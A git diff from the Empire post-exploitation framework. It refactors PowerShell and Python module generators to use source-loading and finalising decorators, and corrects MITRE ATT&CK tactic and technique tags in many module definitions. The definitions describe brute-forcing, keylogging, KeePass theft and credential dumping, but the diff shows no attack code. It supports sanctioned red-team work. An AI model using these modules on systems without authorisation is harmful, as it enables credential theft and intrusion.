a/empire/server/modules/powershell/situational_awareness/host/screenshot.py b/empire/server/modules/powershell/situational_awareness/host/screenshot.py index 7a2e6c955..da7340c70 100644 --- a/empire/server/modules/powershell/situational_awareness/host/screenshot.py +++ b/empire/server/modules/powershell/situational_awareness/host/screenshot.py @@ -1,27 +1,20 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) - if params["Ratio"]: if params["Ratio"] != "0": module.output_extension = "jpg" @@ -40,9 +33,4 @@ def generate( else: script_end += " -" + str(option) + " " + str(values) - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + return script, script_end diff --git a/empire/server/modules/powershell/situational_awareness/host/sherlock.yaml b/empire/server/modules/powershell/situational_awareness/host/sherlock.yaml index c6be32d39..d2b84dcda 100644 --- a/empire/server/modules/powershell/situational_awareness/host/sherlock.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/sherlock.yaml @@ -13,7 +13,7 @@ description: | exploitation methods. software: '' tactics: [TA0007] -techniques: [T1012, T1518, T11082] +techniques: [T1012, T1518, T1082] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/host/vaults/get_keepass_config_trigger.yaml b/empire/server/modules/powershell/situational_awareness/host/vaults/get_keepass_config_trigger.yaml index fcb898614..21794fd37 100644 --- a/empire/server/modules/powershell/situational_awareness/host/vaults/get_keepass_config_trigger.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/vaults/get_keepass_config_trigger.yaml @@ -24,7 +24,7 @@ description: | the effectiveness of previous attacks and determine if additional persistence mechanisms are needed for ongoing credential harvesting. software: '' -tactics: [] +tactics: [TA0007, TA0009] techniques: - T1119 background: true diff --git a/empire/server/modules/powershell/situational_awareness/host/vaults/keethief.yaml b/empire/server/modules/powershell/situational_awareness/host/vaults/keethief.yaml index a72ec47bc..b76269df2 100644 --- a/empire/server/modules/powershell/situational_awareness/host/vaults/keethief.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/vaults/keethief.yaml @@ -25,7 +25,7 @@ description: | to decrypt the entire password database and access sensitive credentials, passwords, and other stored secrets. software: '' -tactics: [TA0006, TA0007] +tactics: [TA0006, TA0007, TA0004, TA0005] techniques: [T1055, T1555.005, T1057] background: true output_extension: '' diff --git a/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml b/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml index 89ee3e91f..d4f18563f 100644 --- a/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml @@ -20,8 +20,8 @@ description: | group memberships, and potential privilege escalation opportunities. Information gathered includes user accounts, group memberships, computer objects, and trust relationships. -software: '' -tactics: [TA0007] +software: 'S0521' +tactics: [TA0007, TA0002, TA0009] techniques: [T1087.001, T1087.002, T1560, T1059.001, T1482, T1615, T1106, T1201, T1069.001, T1069.002, T1018, T1033] background: true diff --git a/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml b/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml index aa7b76a05..0c52ae94a 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml @@ -24,7 +24,7 @@ description: | locations, making it an essential tool for Active Directory reconnaissance and privilege escalation planning. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0006] techniques: [T1558, T1087.002] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml b/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml index 3bad97520..f7c16699c 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml @@ -12,7 +12,7 @@ description: Returns a list of SQL Server instances discovered by querying a dom domain controller can be provided. UDP scanning of management servers is optional. software: '' tactics: [TA0007] -techniques: [T1046, T1615] +techniques: [T1046] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py index aac376387..2f0489d5c 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py @@ -17,7 +17,7 @@ def generate( check_all = params["CheckAll"] # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( + script, _err = main_menu.modulesv2.get_module_source( module_name="situational_awareness/network/Get-SQLServerInfo.ps1", obfuscate=obfuscate, obfuscate_command=obfuscation_command, @@ -26,7 +26,7 @@ def generate( script_end = "" if check_all: # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( + script, _err = main_menu.modulesv2.get_module_source( module_name="situational_awareness/network/Get-SQLInstanceDomain.ps1", obfuscate=obfuscate, obfuscate_command=obfuscation_command, diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_login_default_pw.py b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_login_default_pw.py index 2ebbf453b..6ff478c14 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_login_default_pw.py +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_login_default_pw.py @@ -18,7 +18,7 @@ def generate( if check_all: # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( + script, _err = main_menu.modulesv2.get_module_source( module_name="recon/Get-SQLInstanceDomain.ps1", obfuscate=obfuscate, obfuscate_command=obfuscation_command, @@ -34,7 +34,7 @@ def generate( if instance != "" and not check_all: # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( + script, _err = main_menu.modulesv2.get_module_source( module_name="recon/Get-SQLServerLoginDefaultPw.ps1", obfuscate=obfuscate, obfuscate_command=obfuscation_command, diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_login_default_pw.yaml b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_login_default_pw.yaml index 6aaeade12..28d2a6655 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_login_default_pw.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_login_default_pw.yaml @@ -28,7 +28,7 @@ description: | and penetration testing scenarios where SQL Server access is a priority. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0003] techniques: [T1505] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml index 97fae8153..df444cd83 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml @@ -21,7 +21,7 @@ description: Analyzes Group Policy Objects (GPOs) to identify users and groups t policy-granted administrative access. software: S0194 tactics: [TA0007] -techniques: [T1482, T1069, T1615] +techniques: [T1069, T1615] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml index 6183597cc..13eb952ae 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml @@ -27,7 +27,7 @@ description: | landscape within the Active Directory environment. software: S0194 tactics: [TA0007] -techniques: [T1069, T1018, T1615] +techniques: [T1069, T1018] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml index 35389097d..2ca1c9cca 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml @@ -22,7 +22,7 @@ description: Identifies security groups that have designated managers with the a or administrative functions. software: S0194 tactics: [TA0007] -techniques: [T1069, T1018, T1615] +techniques: [T1069, T1018] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml index 51655d93d..b40bde34a 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml @@ -19,8 +19,8 @@ description: Enumerates cached Remote Desktop Protocol (RDP) connection informat patterns, and identifying potential privilege escalation opportunities through historical remote access relationships. software: S0194 -tactics: [TA0007] -techniques: [T1069, T1018, T1615, T1076] +tactics: [TA0007, TA0008] +techniques: [T1069, T1018, T1021.001] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml index 493820749..3f7fddeb7 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml @@ -29,7 +29,7 @@ description: | options for precise targeting. software: S0194 tactics: [TA0007] -techniques: [T1069, T1018, T1615] +techniques: [T1069, T1018] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml index c92fad65f..916919429 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml @@ -20,7 +20,7 @@ description: Enumerates Distributed File System (DFS) shares within an Active Di file repositories. software: S0194 tactics: [TA0007] -techniques: [T1069, T1615, T1135] +techniques: [T1069, T1135] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py index e23ae0805..1c21b88aa 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py @@ -1,8 +1,8 @@ -import pathlib +from pathlib import Path from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -16,25 +16,24 @@ def generate( ): # read in the common powerview.ps1 module source code module_source = ( - main_menu.installPath - + "/data/module_source/situational_awareness/network/powerview.ps1" + main_menu.install_path + / "data/module_source/situational_awareness/network/powerview.ps1" ) if obfuscate: - obfuscated_module_source = module_source.replace( - "module_source", "obfuscated_module_source" + obfuscated_module_source = Path( + str(module_source).replace("module_source", "obfuscated_module_source") ) - if pathlib.Path(obfuscated_module_source).is_file(): + if obfuscated_module_source.is_file(): module_source = obfuscated_module_source try: - with open(module_source) as f: - module_code = f.read() + module_code = module_source.read_text() except Exception: - return handle_error_message( + raise ModuleValidationException( "[!] Could not read module source path at: " + str(module_source) - ) + ) from None - if obfuscate and not pathlib.Path(obfuscated_module_source).is_file(): + if obfuscate and not obfuscated_module_source.is_file(): script = main_menu.obfuscationv2.obfuscate(module_code, obfuscation_command) else: script = module_code diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml index 025df771a..9e1b26eef 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group.yaml @@ -28,7 +28,7 @@ description: | formatting. software: S0194 tactics: [TA0007] -techniques: [T1482, T1615, T1069.002] +techniques: [T1069.002] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml index efeebc2c5..038f313c5 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml @@ -19,7 +19,7 @@ description: Enumerates group membership details within Active Directory to iden patterns, and identifying high-value targets within specific group contexts. software: S0194 tactics: [TA0007] -techniques: [T1482, T1615, T1069.002] +techniques: [T1069.002] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml index d2760a184..e7146a59c 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml @@ -20,7 +20,7 @@ description: Enumerates local group membership on target systems to identify use access across the network. software: S0194 tactics: [TA0007] -techniques: [T1482, T1615, T1069.001] +techniques: [T1069.001] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml index f38c3310c..109b47000 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml @@ -10,7 +10,7 @@ description: | Enumerates Access Control Lists (ACLs) associated with Active Directory objects to identify permissions, security descriptors, and access rights. This module leverages PowerView's Get-DomainObjectAcl function to retrieve detailed security information for users, groups, computers, and other domain entities. The reconnaissance capability is essential for understanding the domain's security model, identifying privilege escalation opportunities, and mapping access control relationships. By analyzing ACLs, operators can identify users with specific permissions such as password reset rights, group membership modification capabilities, and object modification privileges. The module supports both DACL (Discretionary Access Control List) and SACL (System Access Control List) enumeration, enabling comprehensive security analysis. This information is crucial for privilege escalation planning, persistence establishment, and understanding the domain's administrative structure. The module includes filtering options for specific rights and GUID resolution capabilities to provide human-readable permission information. Warning: Specifying a specific object is recommended to avoid overwhelming output from broad queries. software: S0194 tactics: [TA0007] -techniques: [T1069, T1615] +techniques: [T1069] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml index d39b040fd..60e009d17 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml @@ -20,7 +20,7 @@ description: Enumerates Organizational Units (OUs) within an Active Directory do contexts. software: S0194 tactics: [TA0007] -techniques: [T1482, T1069.002, T1615] +techniques: [T1069.002] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml index 0cdaf2426..a58077076 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml @@ -18,7 +18,8 @@ description: Enumerates active Remote Desktop Protocol (RDP) sessions on a targe RDP session information. software: S0194 tactics: [TA0007] -techniques: [T1076, T1018, T1933] +techniques: + - T1049 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml index 8b073f343..aabf1ed10 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml @@ -17,7 +17,8 @@ description: Enumerates active network sessions on a target system by leveraging target environment. software: S0194 tactics: [TA0007] -techniques: [T1076, T1018, T1933] +techniques: + - T1049 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml index da0f0ae2a..595559a1a 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml @@ -19,7 +19,7 @@ description: Enumerates Active Directory sites within a domain to identify the p that account for physical network boundaries and site-based security policies. software: S0194 tactics: [TA0007] -techniques: [T1482, T1069.002, T1615] +techniques: [T1069.002, T1016] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml index 32776461d..d925c3213 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml @@ -19,7 +19,7 @@ description: Enumerates Active Directory subnets to identify network segments, I privilege escalation opportunities within specific subnet ranges. software: S0194 tactics: [TA0007] -techniques: [T1482, T1069.002, T1615, T1016] +techniques: [T1069.002, T1016] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py index 0d02c0251..972dcaf43 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py @@ -1,8 +1,8 @@ -import pathlib +from pathlib import Path from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -18,25 +18,24 @@ def generate( # read in the common powerview.ps1 module source code module_source = ( - main_menu.installPath - + "/data/module_source/situational_awareness/network/powerview.ps1" + main_menu.install_path + / "data/module_source/situational_awareness/network/powerview.ps1" ) if obfuscate: - obfuscated_module_source = module_source.replace( - "module_source", "obfuscated_module_source" + obfuscated_module_source = Path( + str(module_source).replace("module_source", "obfuscated_module_source") ) - if pathlib.Path(obfuscated_module_source).is_file(): + if obfuscated_module_source.is_file(): module_source = obfuscated_module_source try: - with open(module_source) as f: - module_code = f.read() + module_code = module_source.read_text() except Exception: - return handle_error_message( + raise ModuleValidationException( "[!] Could not read module source path at: " + str(module_source) - ) + ) from None - if obfuscate and not pathlib.Path(obfuscated_module_source).is_file(): + if obfuscate and not obfuscated_module_source.is_file(): script = main_menu.obfuscationv2.obfuscate(module_code, obfuscation_command) else: script = module_code diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml index e12ffaf2d..5562bc8c7 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml @@ -19,7 +19,7 @@ description: Performs comprehensive network range discovery by extracting hostna movement opportunities within specific subnet ranges. software: S0194 tactics: [TA0007] -techniques: [T1482, T1069.002, T1615, T1016] +techniques: [T1069.002, T1016] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml index 406e158ec..e3fb2221d 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml @@ -27,7 +27,7 @@ description: | options for precise targeting and comprehensive output formatting. software: S0194 tactics: [TA0007] -techniques: [T1482, T1069.002, T1615] +techniques: [T1069.002, T1087.002] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml index 497d47c46..671920bd8 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml @@ -20,7 +20,7 @@ description: Performs comprehensive domain trust enumeration and mapping to iden other reconnaissance tools. software: S0194 tactics: [TA0007] -techniques: [T1482, T1069.002, T1615] +techniques: [T1482, T1069.002] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml index 7b077c125..5975abe5b 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml @@ -20,8 +20,8 @@ description: Modifies Active Directory object properties by leveraging PowerView filtering options to target specific objects and supports various output formats for operational flexibility. software: S0194 -tactics: [TA0007] -techniques: [T1482, T1069.002, T1615] +tactics: [TA0004, TA0005, TA0007] +techniques: [T1069.002, T1484.001] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml index 9b5e8cd55..2047a52bd 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml @@ -27,7 +27,7 @@ description: | within the Active Directory environment. software: S0194 tactics: [TA0007] -techniques: [T1482, T1069.002, T1615, T1018] +techniques: [T1069.002, T1018] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml b/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml index dac4479c3..e9cb6f0ea 100644 --- a/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml @@ -24,7 +24,7 @@ description: | includes error handling and output formatting options for integration with other security assessment tools. software: '' -tactics: [TA0007] +tactics: [TA0007, TA0043] techniques: [T1046, T1590.005] background: true output_extension: diff --git a/empire/server/modules/powershell/situational_awareness/network/sharphound.yaml b/empire/server/modules/powershell/situational_awareness/network/sharphound.yaml index e1442b47b..dd9bacd49 100644 --- a/empire/server/modules/powershell/situational_awareness/network/sharphound.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/sharphound.yaml @@ -12,8 +12,8 @@ description: BloodHound uses graph theory to reveal the hidden and often uninten is designed targeting .Net 4.6.2. SharpHound must be run from the context of a domain user, either directly through a logon or through another method such as RUNAS. -software: '' -tactics: [TA0007] +software: 'S0521' +tactics: [TA0007, TA0002, TA0009] techniques: [T1087.001, T1087.002, T1560, T1059.001, T1482, T1615, T1106, T1201, T1069.001, T1069.002, T1018, T1033] background: true diff --git a/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml b/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml index e51cdbcf9..a93481400 100644 --- a/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml @@ -10,7 +10,7 @@ description: Runs an SMB brute against a list of usernames/passwords. Will check the lockout threshold. VERY noisy! Generates a ton of traffic on the DCs. software: '' tactics: [TA0006] -techniques: [T1615, T1110.001] +techniques: [T1110.001] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml b/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml index ebda14b7b..6295e9273 100644 --- a/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml @@ -24,8 +24,8 @@ description: | provides detailed output of authentication results for further analysis and planning of subsequent operations. software: '' -tactics: [TA0008] -techniques: [T1012.002] +tactics: [TA0008, TA0007] +techniques: [T1012] background: false output_extension: needs_admin: false diff --git a/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml b/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml index 5f8eff392..317d30264 100644 --- a/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml @@ -31,7 +31,7 @@ description: | research from @obscuresec and provides a systematic approach to network credential harvesting. software: '' -tactics: [TA0008] +tactics: [TA0008, TA0006, TA0007] techniques: [T1135, T1187, T1021.002] background: true output_extension: diff --git a/empire/server/modules/powershell_template.py b/empire/server/modules/powershell_template.py index 6cdefd1ed..4fe395267 100644 --- a/empire/server/modules/powershell_template.py +++ b/empire/server/modules/powershell_template.py @@ -1,6 +1,6 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_finalize, auto_get_source class Module: @@ -11,39 +11,28 @@ class Module: """ @staticmethod + @auto_get_source + @auto_finalize def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ) -> tuple[str | None, str | None]: - # Step 1: Get the module source code - # The script should be stripped of comments, with a link to any - # original reference script included in the comments. - # If your script is more than a few lines, it's probably best to use - # the first method to source it. - # - # First method: Read in the source script from module_source - # get_module_source will return the source code, getting the obfuscated version if necessary. - # It will also return an error message if there was an issue reading the source code. - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - - if err: - return handle_error_message(err) + # The @auto_get_source decorator handles loading the module source code + # from module.script_path (with obfuscation if needed) and passes it as + # the `script` parameter. # If you'd just like to import a subset of the functions from the # module source, use the following: # script = helpers.generate_dynamic_powershell_script(module_code, ["Get-Something", "Set-Something"]) - # Second method: Use the script from the module's yaml. - script = module.script + # Alternative: Use the script from the module's yaml instead of @auto_get_source. + # script = module.script - # Step 2: Parse the module options + # Parse the module options. # The params dict contains the validated options that were sent. script_end = "" # Add any arguments to the end execution of the script @@ -55,11 +44,7 @@ def generate( else: script_end += " -" + str(option) + " " + str(values) - # Step 3: Return the final script - # finalize_module will obfuscate the "script_end" (if needed), then append it to the script. - return main_menu.modulesv2.finalize_module( - script=script, - script_end=script_end, - obfuscate=obfuscate, - obfuscation_command=obfuscation_command, - ) + # The @auto_finalize decorator takes the (script, script_end) tuple returned + # here and calls finalize_module() to obfuscate script_end (if needed) and + # append it to the script. + return script, script_end diff --git a/empire/server/modules/powershell_template.yaml b/empire/server/modules/powershell_template.yaml index 40e8afde2..a605d000a 100644 --- a/empire/server/modules/powershell_template.yaml +++ b/empire/server/modules/powershell_template.yaml @@ -14,8 +14,7 @@ description: | software: # Techniques that from the MITRE ATT&CK framework (https://attack.mitre.org/techniques/enterprise/) techniques: - - T1141 - - T1514 + - T1056.002 # True if the module needs to run in the background background: false diff --git a/empire/server/modules/python/code_execution/invoke_script.py b/empire/server/modules/python/code_execution/invoke_script.py index baeb95368..53a760693 100644 --- a/empire/server/modules/python/code_execution/invoke_script.py +++ b/empire/server/modules/python/code_execution/invoke_script.py @@ -1,20 +1,19 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule +from empire.server.core.module_service import auto_get_source class Module: @staticmethod + @auto_get_source def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path - ) - script_end = "\nmain(None," if params["File"]: diff --git a/empire/server/modules/python/collection/linux/hashdump.yaml b/empire/server/modules/python/collection/linux/hashdump.yaml index ed834d325..3449e5e7c 100644 --- a/empire/server/modules/python/collection/linux/hashdump.yaml +++ b/empire/server/modules/python/collection/linux/hashdump.yaml @@ -14,9 +14,10 @@ description: | Useful for credential harvesting, password analysis, and user enumeration on Linux systems. software: '' -tactics: [] +tactics: [TA0009, TA0006] techniques: - T1003 + - T1003.008 background: false output_extension: '' needs_admin: true diff --git a/empire/server/modules/python/collection/linux/keylogger.yaml b/empire/server/modules/python/collection/linux/keylogger.yaml index 4453b2ef7..13b602378 100644 --- a/empire/server/modules/python/collection/linux/keylogger.yaml +++ b/empire/server/modules/python/collection/linux/keylogger.yaml @@ -17,9 +17,9 @@ description: | password capture, and user behavior analysis. Requires manual termination of the Ruby process when keylogging is complete. software: '' -tactics: [] +tactics: [TA0009, TA0006] techniques: - - T1056 + - T1056.001 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/linux/mimipenguin.yaml b/empire/server/modules/python/collection/linux/mimipenguin.yaml index 7e253d4c9..51cbc1556 100644 --- a/empire/server/modules/python/collection/linux/mimipenguin.yaml +++ b/empire/server/modules/python/collection/linux/mimipenguin.yaml @@ -13,9 +13,10 @@ description: | Useful for credential harvesting, password recovery, and post-exploitation reconnaissance on Linux systems. software: S0179 -tactics: [] +tactics: [TA0009, TA0006] techniques: - T1003 + - T1005 background: false output_extension: '' needs_admin: true diff --git a/empire/server/modules/python/collection/linux/pillage_user.yaml b/empire/server/modules/python/collection/linux/pillage_user.yaml index dfa6d9e9f..652899cdc 100644 --- a/empire/server/modules/python/collection/linux/pillage_user.yaml +++ b/empire/server/modules/python/collection/linux/pillage_user.yaml @@ -14,9 +14,11 @@ description: | user behavior analysis, and collecting sensitive configuration data for lateral movement and persistence. software: '' -tactics: [] +tactics: [TA0006] techniques: - - T1139 + - T1005 + - T1552.003 + - T1552.004 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/collection/linux/sniffer.yaml 